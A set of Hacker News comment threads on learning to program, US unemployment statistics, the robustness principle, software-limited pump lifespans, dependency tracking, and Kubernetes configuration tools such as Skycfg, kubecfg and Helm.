I dabbled around in BASIC for a while, but my real effort to learn programming
started with Python when I was about 18. Compared to much of what I've seen on
here, I'm quite a late starter, but then again, I have many interests.
------
mtrn
I remember to have carried a bunch of basic programming language cards (happy
families card game style) as a kid - especially I remember two cards, GOTO and
GOSUB - which sounded so similar, yet had quite different depictions :)
~~~
shane-armstrong
I had them for my high school statistics exams, I remember having one which
just said: "Hypothesis testing via the binomial tables of probabi" and then
presumably they ran out of characters because it cut off there.
I never did find out what the last word was ^.^
------
baptisteHM
I took a few programming courses, then W3schools of course, and watching as
many tutorials I can find online. Then, I started offering help to friends and
worked on some small projects. Practice, practice, practice...
------
bobfirestone
Started to seriously learn programming about 2 years ago by joining a user
group, reading lots of books and writing lots of code to practice. The only
way to learn is by doing.
------
daleharvey
Trying to build an imdb for music in javascript + coldfusion
I probably owe my interest in computers thanks to imdb and wikipedia
~~~
benburleson
This is a good idea, but why coldfusion?
~~~
daleharvey
A friend of the family knew it and taught me some, I wouldnt chose it again :)
I even remember the name now, I called it indb (indie database), it didnt get
very far
------
rmATinnovafy
My folks bought me a C64 instead of a video game console.
------
andrejewski
Immersion and starting from scratch on everything.
| {
"pile_set_name": "HackerNews"
} |
What's the Real U.S. Unemployment Rate? We Have No Idea - T-A
http://www.businessweek.com/articles/2014-08-27/whats-the-unemployment-rate-new-research-suggests-we-have-no-idea
======
curiouscats
The article provide interesting information on the process for calculating the
unemployment rate.
But it also misleads in saying "real US unemployment rate."
Dr. Deming would say "there is no true value" of any measured process. The
results depend on the process which includes the operation definitions.
[http://management.curiouscatblog.net/2009/11/05/deming-
there...](http://management.curiouscatblog.net/2009/11/05/deming-there-is-no-
true-value/)
Over time the value of a measure (as a proxy measure for some condition you
care to monitor) can change.
http://management.curiouscatblog.net/2004/08/29/dangers-of-forgetting-proxy-nature-of-data/
It is important to update measures to avoid using proxies that lose value.
The unemployment rate certainly has proxy issues. But there is no "true
unemployment rate." There are ways to change the process to focus on different
things (make the proxy better matched to certain issues). But also it seems to
me, unemployment rate needs to have other related measures that are considered
in concert with the unemployment rate (such as the labor force participation
rate, perhaps some measure of under-employment etc.).
Those paying much attention do use other measures in concert but the last few
years I read lots of different people complaining that the unemployment rate
doesn't capture various aspects of how the job market is poor (and often
claiming the unemployment rate was "inaccurate" as though there was a platonic
form of the actual rate divorced from the measure process.
~~~
eruditely
Neg. At first glance obscurantist garbage. We do not need to hold ourselves
down to long definitions we can use various definitions and arrive at
meaningful conclusions. Probability has already solved most of these issues.
Operant knowledge is not blanket relativism.
------
nostromo
The official unemployment rate seems too complicated to me. I prefer
participation rate, which is very straight forward to measure.
The bad news is that participation rate in the labor force has continued on a
downward trend even as the economy rebounds.
[http://data.bls.gov/timeseries/LNS11300000](http://data.bls.gov/timeseries/LNS11300000)
I think a growing economy that does not create jobs should concern us all.
~~~
rayiner
Because U.S. demographics are rapidly changing, it's important to look at
these figures adjusted for the overall aging of the population:
[http://crr.bc.edu/wp-
content/uploads/2014/02/IB_14-4.pdf](http://crr.bc.edu/wp-
content/uploads/2014/02/IB_14-4.pdf) (page 3). The decline in labor force
participation rate is much less than it seems if you adjust for age.
~~~
nostromo
I agree, but still find it troubling. If a person is laid off, or if a person
retires and is not replaced, the net effect is still one less job.
If population growth continues to outpace job growth, we're going to end up
with a nasty game of economic musical chairs.
~~~
rayiner
Look at page 28 of this PDF:
[http://www.bls.gov/opub/ooq/2011/winter/art02.pdf](http://www.bls.gov/opub/ooq/2011/winter/art02.pdf).
From 2010 to 2020, the civilian labor force aged 16 to 55, prime working
years, is actually going to shrink by almost a million people. So the
population is growing, but more of those people are of ages where it is
typical to not work, so labor force participation rate can naturally be
expected to go down, even if nothing is wrong with the economy.
~~~
bjelkeman-again
And if there isn't a good pension scheme in place, public or private, it gets
interesting. Palm Springs was an interesting place. The only place I have been
where the dinners seemed all full of grannies working the tables.
------
chatmasta
I just came from a class today where Stephen Roach (ex chief economist at
Morgan Stanley) criticized this same gap between reported and actual
unemployment. He actually focused on a different worrying number:
participation rate. The number of people who qualified as "part of the labor
force" declined 3 percentage points, in the same period of time that
"unemployment" _increased_ by the same amount.
His point was that the way we model economics data will inherently result in
missed predictions. We need to remember this fundamental flaw of modeling when
we interpret the results of a model, like unemployment rate.
~~~
judk
Why is it surprising that participation drops as unemployment grows? x vs 1-x.
~~~
nhaehnle
Conceptually, the working age population is divided into participating and
non-participating. The participatings are further divided into working and
unemployed (and working-but-looking-for-more-work is a useful category as
well).
It is indeed unsurprising that participation drops in a period of high
unemployment, but it's not just a matter of mathematics. Instead, it's the
effect of people simply giving up looking for work.
That said, it's important to watch out for what the participation rate is
measured against. Obviously, the participation rate of the population as a
whole can drop for entirely benign reasons (higher percentage of retirees).
------
specialist
#1 I care more about the number jobs over time, not the unemployment rate.
Absolute numbers vs ratios.
#2 I also want to get an idea of how many people are over employed and under
employed.
\--
Payroll tax receipts show how many people are employed.
Then do a straight forward head count.
Employment rate = jobs / people.
Then guessimate (tally) the number of hours worked.
Yearly Employment load = hours reported / ( people * 2080 )
Why is this hard?
Why do we need sampling, when we can just measure the totals (with a margin of
error)?
Why do we have fudge factors like "discouraged workers"? People are either
working or they're not. Student, disabled, retired, whatever, they're still
unemployed. When elderly people continue to work past 65 and the working poor
have multiple jobs, I'm really not terribly interested in splitting hairs.
Break up employment rates by demographic group, if it matters that much.
~~~
clebio
I always figured that sampling, and electoral voting, are legacy mechanics
from when it wasn't as easy to tally large numbers quickly (via technology).
Real, per-person voting (there's probably a term for that?) -- and even
itemized taxation (e.g. choose schools, sanitation, law enforcement,
'defense', etc.) -- should be entirely within our capabilities now. But, of
course, politics is a slow-rolling stone.
~~~
byroot
> Real, per-person voting (there's probably a term for that?)
I suppose you mean direct election[0]
[http://en.wikipedia.org/wiki/Direct_election](http://en.wikipedia.org/wiki/Direct_election)
~~~
ctdonath
There are very good reasons for the "electoral college" outside of "real per-
person voting" issues.
~~~
mhurron
And they are?
The Electoral College is in place just for Presidential Elections because it
used to be that it was impossible for the various candidates to peddle their
platform all over the country. No other position had that issue, governors,
senators, congressmen are all far more local elections.
That issue doesn't exist anymore. There is no reason the president can not be
directly elected.
~~~
ctdonath
This is the United STATES Of America. The states cast their vote, balancing
the equality of states vs population - ensuring both that one large state
doesn't get outvoted by a couple much smaller ones, and that one large state
doesn't render multiple small ones politically impotent. CA & NY have strong
leanings toward urban political interests which conflict with legitimate
interests of WY, MT, AK, etc ... but in a direct vote, the former would
completely overwhelm the latter rendering their cumulative votes irrelevant.
With electoral college, we have a "progressive" vote whereby neither the
majority overwhelms the minority, nor the minority have an undue power over
the majority - instead, we have a sensible balance.
Switch to direct election, and there will be no need for the various
candidates to peddle their platform all over the country: candidates will
focus on high-density population regions, ignoring "flyover country" entirely
and unfairly biasing political power toward urban interests.
------
pessimizer
We know what the prime age employment rate is, though. I don't know what more
information this 'unemployment rate' is supposed to add to it.
[http://delong.typepad.com/sdj/2014/08/male-and-female-
prime-...](http://delong.typepad.com/sdj/2014/08/male-and-female-prime-age-
employment-rates-since-2000.html)
Why try to guess whether people are truly expressing their desires?
------
narrator
Shadowstats is a private firm that sells its own calculations of economic
statistics :
[http://www.shadowstats.com/alternate_data/unemployment-
chart...](http://www.shadowstats.com/alternate_data/unemployment-charts)
According to them, unemployment is about 23%.
~~~
hudibras
Shadowstats is a huge scam site. Their methodology is to to take the official
government numbers (unemployment, inflation, whatever) and add an arbitrary
constant to it to make the numbers more attractive to right-wingers so that
they'll fork over the annual fee to get "the real story."
I'm not exaggerating, that's their entire shtick.
~~~
jpatokal
I suspect you're exaggerating at least a tiny bit, since the difference
between their unemployment rate and the official figure is not constant:
theirs has been trending up over the past 4 years, while the official figures
are going down.
~~~
hudibras
As an example, if you look closely at the alternative unemployment chart that
rayiner linked to [0] you can see that the shadowstats line (blue) exactly
matches the U6 line (grey) down to the very last wiggle. Until 2010, that is,
when unemployment started going down and shadowstats needed to keep people
shelling out $175 a year.
[0] [http://www.shadowstats.com/alternate_data/unemployment-
chart...](http://www.shadowstats.com/alternate_data/unemployment-charts)
------
known
I'd say it's BLS numbers * H1Bs * 5
| {
"pile_set_name": "HackerNews"
} |
Robustness Principle - dml_
http://en.wikipedia.org/wiki/Robustness_principle
======
jloughry
Postel's law is a good principle when your threat model is nature; it leads to
robustness in the presence of random failures. But it is _not_ a good design
principle in an environment of intelligently malicious failures, i.e., the
internet. In other words, for reliability in uncertain but benign conditions,
yes---for security, no!
| {
"pile_set_name": "HackerNews"
} |
Pump manufacturer programs their devices to fail prematurely and lowers price - bkraz
http://www.xavitech.com/setting-prices-suit-service-life-want-pumps/
======
daxelrod
What's fascinating is that they're being upfront with their customers about
this, rather than trying to sneak it in. They're also explicitly letting their
customers decide how long the pumps should last, and pricing accordingly.
I wonder if other existing DRM-like mechanisms for hardware would be better
received if their manufacturers took this strategy.
------
greenyoda
Selling exactly the same hardware with different prices and performance is
actually a pretty old practice. I've read stories of people long ago buying
hardware upgrades for IBM mainframes and being surprised when the IBM engineer
just came over and cut a wire on the backplane. "OK, you have twice as much
memory now. Have a nice day!"
~~~
teh_klev
A pal of mine told me about a make of car (could've been the Fiat 128 or the
VW Polo - circa mid to late 80's) that had a small analogue clock as an
optional extra.
Apparently it was always factory fitted into the dashboard. If you didn't
order the clock, or whatever option pack that included the clock, the
manufacturer just put a blanking plate over the clock face and (I think)
disconnected the power (my memory is vague on this). He claimed to have
discovered this on one of his, or his mother's cars, when curiosity got the
better of him as to what was behind one of these accessory blanking plates.
This may have been a shaggy dog story though.
~~~
moonka
I have a Mazda 3, which didn't have the fuel computer display (shows you
remaining mileage, current mpg etc). After I bought it I found out that by
doing a little dance with the buttons and turning it on and off I could enable
it. Now the only difference is that mine has a blank button to cycle through
it rather than one that says "Fuel Comp".
------
wmoser
I'm not quite sure how I feel about this. Mechanical equipment lifespan
normally follows a well curve. Premature failures from manufacturing defects
and improper component installation or commissioning taper off to a period
where there is relatively low failure rates with proper maintenance until a
certain point where equipment fails from age (fatigue, worn parts etc). If the
end user is the one to specify the component, this could be great, you're not
paying for unused time at the end of the components life. Some components are
going to be replaced on a time schedule regardless of if there is usable life
in it or not, some things are better to do on your schedule than a broken
components. There is a warranty on the component for the full life of the pump
so if you're doing the spacing you can be reasonably assured it will last its
required life span or replaced. On the other hand, if I purchase a piece of
equipment from a different company and expect it to last N years, but they are
using this component to save money and only opt for it to last M years, and
don't disclose the life span, I could end up paying for N-M years of expected
service that I don't get to use. As an aside of other software limited
hardware, Caterpillar c-series Diesel engines are software limited to a
certain extent. If you need more horsepower call the service tech and they can
increase the HP. Disclaimer: I heard this from another marine engineer so
don't know if they need to upgrade other components as well or if it's
completely a software de-rating.
------
narrowingorbits
Sounds like a market for an aftermarket service company to reprogram the pumps
not to break!
~~~
ratfacemcgee
it'll take 15 minutes for someone to figure this out. then we'll have 0 day
warez for pumps.
------
TodPunk
This would logically mean they can make their pumps really cheaply and long-
lasting, or they wouldn't have the markup to be able to do this. I'm not sure
how I feel about their position, but I know I'm less comfortable about how
this feels like "licensing" a product than I am about the markup they're
admitting to making in the first place.
------
noahbarr
Synthetic, premature obsoleteness for pure economic gain is an engineering
insult & represents environmental malice.
~~~
ianstallings
How do you know this wasn't requested by their customers?
~~~
maxerickson
That's irrelevant to the point about environmental malice.
The pumps provide a value, which you are pointing out the manufacturer can
capture more of by offering artificially limited pumps at lower prices.
GP poster is pointing out that the pumps have a cost to the environment and
that the artificially limited pumps provide less offsetting value for this
imposed cost.
------
iamjdg
So they are basically renting their pumps? When the pumps fail, they must get
them back and resell them to another customer. Else the economics would not
make sense. Unless they send less to build a shorter life pump, but my
impression was no, they program it to fail after a certain number of operating
hours.
~~~
tonyarkles
The economics make perfect sense. Imagine you have a pump that lasts 1,000
hours, and it costs $10 to build. You have a reputation for making great
pumps.
To recoup your R&D costs and make a profit, you decide that you're going to
sell these pumps for $100. Those in the market for a 1,000 hour pump think
that's a fair price, but those who only need a 100 hour pump think that that's
outrageously expensive.
If you bring the price down to make the 100 hour pump people happy, you're
cutting into your margins for the 1,000 hour people. So you segment your
market: $100 for a 1,000 hour pump, $40 for a 100 hour pump. Your 1,000
customers continue buying the pump at the price they've always been paying,
and some of the 100 hour people start buying at $40. That incremental revenue
is all gravy; you didn't have to sink R&D money into a second product (other
than building the DRM)
~~~
iamjdg
thanks. yes you are right. it is market segmentation. you move more units for
a lower weighted average margin. just seems silly your actually modify the
product to make it fail early just because someone paid less for it. i get it
for software, you leave features off or put them on and charge less or more.
but for an actual physical product, you are playing with operating hours as a
feature, just seems new to me. if i was to do it, i would put some money into
picking cheaper parts for the lower lifetime pump. then i could perhaps build
it for $7 and get more margin for these sales. but i guess it depends on how
much money you put into integrating cheaper parts. but even making it fail
early by programming cost some money.
~~~
tonyarkles
I agree, it's totally weird. I've been thinking about it ever since I saw the
article, and thinking about other pieces of equipment that I have that operate
on a similar model.
I've got an oscilloscope that I bought as a 50MHz model, knowing that an
upgrade to 100MHz could be purchased after the fact. When I bought it, I
didn't need the extra bandwidth and it was a decent price. Recently, I started
to need the extra bandwidth so I inquired about the upgrade cost. $300. To do
the upgrade, they give you a file that you stick on a USB key.
Part of me is grumpy about the fact that the equipment I bought was actually
capable of 100MHz out of the box and was just software locked. And part of me
is happy that I got to hold on to my extra $300 until I had a compelling
reason (read: a client was paying) to do the upgrade.
$X was a decent price for a 50MHz scope, and $X + $300 is a decent price for a
100MHz scope.
------
JoeAltmaier
Bought a dot-matrix printer years ag, the cheap one, without double-wide
character support nor lower-case (just the capital letters). It arrived.
Inside was a jumper block. Reversed it - now it had all the features!
------
ianstallings
Interesting how a lot of comments here attribute some inherent evilness to the
manufacturer, when more likely it's customer-driven feature that they've been
asking for or their sales staff saw the need for. If customers don't want or
need it, it won't be profitable. So you have nothing to worry about.
------
HeyLaughingBoy
Lovely. So now software defects can _directly_ affect product lifetime. Just
the thing I need for something that has to live in the field for 15 years.
Well at least I know one more company whose products I should avoid.
~~~
toomuchtodo
Or patron them, and sell a mod to override their premature obsolescence.
------
crucini
This kind of offends us as technologists, but it may be the wave of the
future. I think business would generally prefer to buy a "defined benefit"
rather than gamble on the longevity of a device.
| {
"pile_set_name": "HackerNews"
} |
Armory Enterprise Spinnaker Release v0.61 - danielodio
http://blog.armory.io/how-to-install-armory-spinnaker-release-v0-61/
======
danielodio
We've created v0.61 to solve the following problem: Spinnaker is powerful but
hard to install and configure; lots of sub-services. We've created a package
that 'just works' to make it easier to install. Would love to hear feedback
from anyone who gives it a try.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How do you keep up with project dependency updates? - dchuk
Let's say you're working on a Rails project with an AngularJS front end. You use a gemfile to manage your Rails gem dependencies and you use Bower to manage your AngularJS dependencies.<p>How do you keep up to date with all the new releases for all of your dependencies? Is there a way to monitor releases of plugins/gems/dependencies so you can be notified when you need to update for bug fixes or feature/performance improvements?
======
wise_young_man
I built [http://hubnotify.com](http://hubnotify.com) for this exact purpose.
Currently it works with GitHub, but I have a roadmap of BitBucket and package
managers (npm, packagist, rubygems, etc) as well. It's a free service, hope it
helps you.
------
ortuna
[https://gemnasium.com/](https://gemnasium.com/) works wonders
| {
"pile_set_name": "HackerNews"
} |
Stripe open-sources Skycfg, a configuration builder for Kubernetes - jmillikin
https://github.com/stripe/skycfg
======
londons_explore
I'm just waiting for someone to make a kubernetes config generator based on
googles GCL (not opensource, but this is an opensource clone of it, although
without k8s integration/examples:
[https://github.com/rix0rrr/gcl](https://github.com/rix0rrr/gcl)).
I feel it has almost limitless flexibility, without requiring either
boilerplate or complexity where you don't need it. Nothing else comes close in
that regard.
~~~
justicezyx
Disclaimer: I maintain borg’s configuration tool, which was gcl originally.
Gcl is terse, dead simple in most common areas. It appears the best general
purpose configuration language I’ve seen so far.
~~~
londons_explore
The main caveat of the above is that GCL is so powerful, it's easy to write
crazily complex puzzles in it. Just because you _can_ write a mandlebrot
fractal generator in your config language, does not mean you _should_.
And you can bet the person to write the configs of that service you inherited
_did_ enjoy seeing quite how far they could stretch the flexibility of GCL...
~~~
justicezyx
Well we have good ways to solve these problem, Complexity management in
programming language is a well understood problem, I see plenty of low hanging
fruits.
Also trrseness has nothing to do with complexity. Gcl did not have much
language syntax sugar intended for terseness. It’s just naturally simple in
choices of right abstractions.
------
justicezyx
I am seeing K8s ecosystem repeating Borg's own history of configuration
churns. It's just there seems so many configuration tools for K8s now, which
seems a much worse situation than Borg (started with only one configuration
tool).
~~~
ithkuil
Here is one of those:
[https://github.com/ksonnet/kubecfg](https://github.com/ksonnet/kubecfg)
~~~
atombender
For those who are as confused as me why Kubecfg exists in the Ksonnet org on
Github, when they also have Ksonnet itself, I found this explanation:
[https://blog.heptio.com/the-next-chapter-for-
ksonnet-1dcbbad...](https://blog.heptio.com/the-next-chapter-for-
ksonnet-1dcbbad30cb).
Short summary: They're different but somewhat complementary tools. Kubecfg was
made by Bitnami, Ksonnet by Heptio. Kubecfg uses Jsonnet and is less opinioned
than Ksonnet, but (as far as I can see) can also use Ksonnet.
~~~
guslees
The fork is my fault. I agree it's confusing.
I wrote (and still maintain) kubecfg. Heptio joined the project and started
adding lots of great stuff. Eventually it was clear they wanted to take it in
a direction that was different to the original borgcfg-like vision. I
suggested we split that new functionality into a different tool so we could
keep exploring both directions without trying to mash both into the same cli
flags. Hence ksonnet/kubecfg and ksonnet/ksonnet.
They both use jsonnet internally, generate the same k8s resources in the end,
and have that common code heritage, so have many similarities.
ksonnet/ksonnet has a bunch of extra ("rails-like") tooling to hold your hand
while you generate jsonnet, and assumes it uses the k.libsonnet library
([https://github.com/ksonnet/ksonnet-lib](https://github.com/ksonnet/ksonnet-
lib)).
ksonnet/kubecfg is much dumber and really just conceptually `jsonnet | kubectl
apply`. In particular kubecfg avoids having any opinion about which jsonnet
libraries you use. We use it extensively with [https://github.com/bitnami-
labs/kube-libsonnet](https://github.com/bitnami-labs/kube-libsonnet), but you
can also use it with [https://github.com/ksonnet/ksonnet-
lib](https://github.com/ksonnet/ksonnet-lib) or anything else that is valid
jsonnet.
~~~
atombender
Thanks for the explanation. Is Kubecfg like Helm in that it will apply a
"destructive" diff (i.e. delete resources belonging to a deploy that are not
part of the new deploy)?
I took a look at Ksonnet a while back, and it seemed to have way too many
bells and whistles. In particular, I did not particularly like the sheer
amount of files, in something like three separate folders, that you have to
maintain for each project. I love the idea of declaring a schema that you're
generating data for, but Ksonnet seems to have adopted a fairly complex
structure to accomplish this.
We use Helm right now, though purely as a templating engine and destructive
deployer of charts that we store in the same repo as the app itself. The
package management isn't useful for our own apps, and really only gets in the
way. We're looking at alternatives that don't use text-based templating and
come with slightly higher-level concepts of releases.
Right now, we wrap Helm with our own little CLI so that we can, for example,
automatically build all the template inputs from a set of (defaults,
environment-specific stuff, local overrides). Our tool also presents a diff if
you want, and records things like git revision info and deployer name in the
annotations. Thus, when you ask our tool to deploy something, it can look at
what the currently deployed revision is, then do a "git log" to find what's
changed, display that history with nice colours on the terminal, etc. before
deploying. All things that, in my opinion, a Kubernetes deploy tool should
have.
~~~
ithkuil
(EDIT: the nick rang a bell: thanks for ktail!)
kubecfg has the --gc-tag flag, which you explicitly pass so that it can know
which of the existing resources in the k8s API server used to be created by
this set of kubecfg maintained config (this "system", this "application", it's
up to you to decide the grain of your modelling) and thus be able to delete
the resources are are no longer output by the evaluation of the current
configs.
This catches the cases where you delete resources but also when you rename
resources, or when you "move" them between namespaces.
It's implemented without any in-cluster component (no "tiller") by simply
setting the GC tag as a label on the resource.
Kubecfg also implements diff between local config a d deployed state.
As for the amount of files: it's up to you. Kubecfg is not opinionated on how
you lay out your config.
Unlike helm, it doesn't require you to know in advance which values you want
to parameterize (and thus out in a values.yaml) since it's trivial to override
any value with jsonnet.
The k8s API and its data model is the only thing you have to learn.
There are some helpers available to help you structure larger configs, e.g.
[https://github.com/bitnami-labs/kube-
libsonnet/blob/master/k...](https://github.com/bitnami-labs/kube-
libsonnet/blob/master/kube.libsonnet) . While this lib also provides some
'macros' to help you build common entities like services and deployments, IMHO
the main benefit is the mapping of "foo_: {key: val, ...}" to "foo: [val,
...]". The former is much more friendlier when you have to override values
with jsonnet rather than having to depend on array ordering.
~~~
atombender
Awesome explanation, thanks! (And I'm really glad you like ktail!)
This sounds like a much better foundation to build on than Helm. To me,
Kubecfg sounds a lot more palatable than both Helm and Ksonnet.
As an aside, Kubecfg still isn't something you (or at least I) would expect
developers to work directly with. We have devs who currently just do "tool app
deploy foo" (using our homegrown CLI) to deploy an app; they don't need to
understand much about Kubernetes, though they understand the basics about
pods, kubectl and so on. With Helm, they'd need to know to run "helm install
--upgrade --values-from k8s/production.yaml ./chart" or some other extremely
long command line. In short, none of the existing tools are high-level enough.
There are Heroku-like PaaS abstractions on top of Kubernetes that give you a
simplified entrypoint into deployment, but I feel like what's needed isn't a
whole platform, just an opinionated top layer. Kubernetes deals with discrete
objects, what you want is a higher-level tool that deals with atomic groups of
objects, i.e. apps.
Long story short, are there any rumblings in the community about going in this
direction? The lack of such a tool, at least as far as I've found, has lead me
to consider maybe creating one, based on the experience we've had with our in-
house CLI tooling, and perhaps using Kubecfg as a foundation. Thoughts?
~~~
guslees
Making an "easier" app-level experience very quickly becomes (necessarily)
opinionated, because you need to anticipate which k8s parameters need to be
exposed and which can be derived/assumed. Narrowing the configuration space in
this way is entirely the point of "easier".
The way I've been approaching this is that you need a local "power user" who
produces a simple abstraction that captures local patterns and policies, and
the rest of the company then reuses that abstraction (or abstractions). Helm
sort of lets you build this, but in practice it requires re-packaging helm
charts with local customisations - which rapidly becomes a lot of overhead.
The alternative is to expose every possible k8s option through the original
helm parameters, which in turn means the helm chart becomes bewilderingly
complex, and we're back to our original problem statement.
Instead, I've been advocating an "overlay" approach with jsonnet and the
design of kube.libsonnet. The idea is that each consumer can import some
upstream k8s manifests (described in jsonnet), apply some further jsonnet-
based translations, and then publish the result as newer/simpler "templates".
Someone else can then consume that, add another layer, republish, rinse,
repeat. Importantly, each "republished" layer is still as easy to consume as
the original. Eventually you end up with a jsonnet-based template that becomes
highly opinionated and specialised to your actual problem domain, and
hopefully is terse enough for local devs to use without having to learn all
about k8s.
Example strawman:
local mycompany = import "mycompany.libsonnet";
mycompany.PhpApp {
repo: "webgroup/guestbook",
url: "https://mycompany.com/guestbook",
requires_mysql: true,
}
This might (hypothetically) turn into a:
\- k8s Deployment that derived the docker image from the repo name (using
knowledge of local build/publish conventions) and the command from the fact it
was a php app
\- k8s Service to point to the Deployment
\- k8s Ingress from the provided URL (and local policy), pointing to the
Service
\- Bring in a mysql instance via any one of several approaches (eg: new
standalone instance, or configure a new user/table on a centrally-managed DB
server)
None of the above would be hard to do right now using kubecfg (or other
approaches), but requires at least one person who understands both local
policies _and_ kubernetes - and for them to express that knowledge in
"mycompany.libsonnet".
Importantly, whatever "mycompany.PhpApp" did would be quite different to
"mycompany.PeriodicSparkJob" or "someothercompany.PhpApp" \- so this isn't
really something the _community_ can provide, without it rapidly becoming
generic again and missing the whole point of the exercise. Coming back to your
question, I think this is why you won't (and will never in the general case)
find _already-made_ tools that just happen to match your particular local
needs.
~~~
atombender
Those are some great points. I agree with the premise that Jsonnet and schema-
based config generation opens up the possibility of actually composable,
"layerable" building blocks, something Helm doesn't do at all. I also see your
point about the top layer being org-specific.
That said, I was actually thinking more about the CLI itself, and wrapping the
underlying config generation in something that, for example, knows how to tag
the config (so that, if it uses Kubecfg internally, --gc-tag is automatically
provided, for example. And using git as a base for release versioning. As I
mentioned earlier, one thing our internal tool does on deploy is to present
you with what commits will be deployed, which is derived from running "git log
HEAD..<currently deployed commit>". It's a nice UX for the person doing the
deploy. It just uses Kubernetes annotations for that, but it ends up being
pretty powerful. Something we were also thinking about was using a CRD to
record each deploy, so that you can get a history, with what commit, who
deployed, and so on.
Another thing we do is provide a real-time progress view of the Kubernetes
resources that your deploy creates/updates/deletes. This lets the operator
know when the new version is live, and also alerts them if the deploy failed.
Again, it's about UX.
I think I'd want to extract what we have into a general-purpose tool, and use
something like Kubecfg or Ksonnet to do the actual applying of configs. But I
don't hear a lot about what people are using, and looking for, in terms of
deployment tools. For me, creating an in-house tool like this was an obvious
thing because we just can't run kubectl or Helm from the shell to do things,
it would be way too many steps even for simple apps. Is everyone writing tools
like this? Or are they actually writing out full "helm install" commands?
~~~
ithkuil
A point on flags: yes it would be great if the user wouldn't have to remember
to provide --gc-tag explicitly. Bringing that even further, I'd like to be
able to specify the cluster in the config (likely in the last "actualization"
layer). Conceptually it's like the namespace: you can currently craft configs
that are parametric on a given namespace and then fix that value to a given
deployment specific choice. IMHO clusters should be the same except currently
they are "outside the config" since the choice of the cluster affects the API
endpoint the tool has to talk to.
In my ideal scenario my colleagues would just need to know which file to
"apply". The file itself (through its name or directory location or comments
or more documentation) will guide the user to the meaning of what environment
that actually is (dev, staging, production, some well knownv deployment X)
------
gregwebs
Dhall and its Kubernetes support are another potential option [1]. I am not
using them yet, but looking to switch from helm templates to something that
isn't just text mash-up but has modules and type-safety. Skycfg looks like a
nice option to have: more main-stream for those used to Python or Bazel even
if it is missing some of Dhall's interesting features (such as reduction).
[1]: [https://github.com/dhall-lang/dhall-
kubernetes](https://github.com/dhall-lang/dhall-kubernetes)
------
atombender
Looks interesting, but why is it a library and not a command line tool?
For Kubernetes you don't really want to write a _program_ (one that calls this
library) for every single Kubernetes deploy you want to do.
Seeing as Protobuf schemes are parseable, why not just have a command line
tool that parses the schema, then combines it with the Starlark declarations
to generate Kubernetes manifests?
It could be an interesting competitor to Ksonnet if done right.
~~~
jmillikin
Internally we use Skycfg as a library linked into other tooling, the same way
you might link in a YAML parser. The ideal adoption model would see "skycfg
support" as a checkmark feature of user-facing tools like kubectl or Helm.
The specific case of a sky-to-yaml utility binary is one we want to write (and
have started in the `_examples/repl/` directory). Unfortunately go-protobuf
doesn't support dynamic protobuf schemas yet
([https://github.com/golang/protobuf/issues/199](https://github.com/golang/protobuf/issues/199)).
Until it does, every message type must be linked directly into the binary.
~~~
atombender
Thanks for clearing that up. The story title and the Github repo together
makes it unclear what this is intended for.
I'd love to see a Helm-like tool built on Skycfg.
I'm really surprised that the Go Protobuf implementation doesn't support
dynamic schemas, which seems like such a core feature, but looks like work is
underway.
------
simplify
It doesn't have functions, but I've also released a type-checked configuration
language recently[0]. The main difference is it's designed to be easy to edit,
even by non-technical users.
[0] [https://github.com/gilbert/zaml](https://github.com/gilbert/zaml)
~~~
jmillikin
Note that Skycfg isn't a language itself; we're using Google's Starlark (a
deterministic Python dialect) for syntax and evaluation. This means that we
get IDE support and tooling for ~free, such as Python syntax highlighting and
Starlark formatting with Buildifier.
~~~
simplify
A deterministic Python dialect is indeed very cool. I've dabbled in writing a
deterministic language myself.
Syntax highlighting and formatting is nice, but I think error reporting is
more important for the end user.
Zaml auto-validates configuration structure, removing the need to write most
boilerplate on the programmer's side.
Can you help me understand Skycfg's type safety and validation? When I see
`return [pb.StringValue(value = 123)]`, does this imply the schema is written
inline, alongside the values?
~~~
jmillikin
The schema is defined as a Protocol Buffer
([https://developers.google.com/protocol-
buffers/](https://developers.google.com/protocol-buffers/)) package. This lets
us construct values protobuf-based APIs without having to manually copy over
the schema.
For example, if you had this schema:
package my.example.schema;
message Person {
string name = 1;
int32 id = 2;
string email = 3;
}
Then you could build a value using Skycfg like this:
pb = proto.package("my.example.schema")
msg = pb.Person(
id = 1234,
name = "Jane Doe",
email = "[email protected]",
)
print(msg)
For Kubernetes, we're using the schema at
[https://github.com/kubernetes/api](https://github.com/kubernetes/api) and for
Envoy we use [https://github.com/envoyproxy/data-plane-
api/tree/master/env...](https://github.com/envoyproxy/data-plane-
api/tree/master/envoy)
------
greggdonovan
This looks great. We have a similar stack (Bazel, Terraform, Kubernetes) and
have struggled with configuration.
I'd love to learn more detail about how you've use skycfg with Terraform. Do
Terraform module definitions drive the proto config (something we've
considered)? Or does skycfg generate JSON or HCL? Thanks!
~~~
jmillikin
Our use of Skycfg with Terraform is still very basic, using Terraform's JSON
syntax[0] and the "external" data source[1] for particular configurations that
are difficult to express in HCL. I personally would like to have most of our
Terraform config in Skycfg format for testing/analysis purposes, but that's
blocked on having some sort of schema for the providers we use.
[0]
[https://www.terraform.io/docs/configuration/syntax.html#json...](https://www.terraform.io/docs/configuration/syntax.html#json-
syntax)
[1]
[https://www.terraform.io/docs/providers/external/data_source...](https://www.terraform.io/docs/providers/external/data_source.html)
------
houqp
How is this compared to pulumi k8s module?
~~~
jmillikin
Skycfg[0] is hermetic and deterministic. Evaluating a Skycfg configuration
file can't execute local processes or access system properties such as the
current time, so it can be treated as inert data similar to a JSON or YAML
file.
This important for Stripe because we have lots of internal security
boundaries. A rich configuration language that can't break out of its sandbox
is useful when a highly-trusted system needs to expose a subset of its power
to less trusted agents.
[0] More specifically, the Starlark language that Skycfg extends.
------
corwin7
If you can't edit a yaml (or HCL) file, you shouldn't be using Kubernetes /
Terraform. All these "you too can be an artist, just draw inside the lines of
this coloring book" configuration systems (ie helm) are just distracting
people from doing things the right way.
~~~
londons_explore
Plain yaml files have far too much repetition for common use cases.
If I have 100 microservices, and I want to run all of them in a production and
staging cluster, but I want all the staging cluster jobs to have an extra
environment variable/tag and have lower CPU limits, there's no way to do that
without 200 yaml files, which quickly get out of sync and inconsistent.
| {
"pile_set_name": "HackerNews"
} |
Why write a 3D engine from scratch? - Peroni
http://alainrichardt.info/splash.sys
======
shousper
I used to do this kind of stuff for fun in my high school days. Now I don't
have the time =( Kill to be able to get into game dev professionally (without
winding up in a sweatshop, lol)
------
fbomb
Why not?
~~~
biinui
2 cents :) maybe for learning purposes we should start from scratch or
reinvent the wheel. else use existing wheels.
| {
"pile_set_name": "HackerNews"
} |
